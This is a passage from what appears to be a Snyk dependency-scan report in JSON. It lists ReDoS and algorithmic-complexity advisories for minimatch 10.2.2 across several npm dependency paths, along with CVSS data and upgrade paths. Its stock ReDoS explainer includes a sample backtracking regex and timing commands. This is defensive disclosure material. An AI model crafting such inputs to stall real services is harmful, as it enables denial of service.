5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger 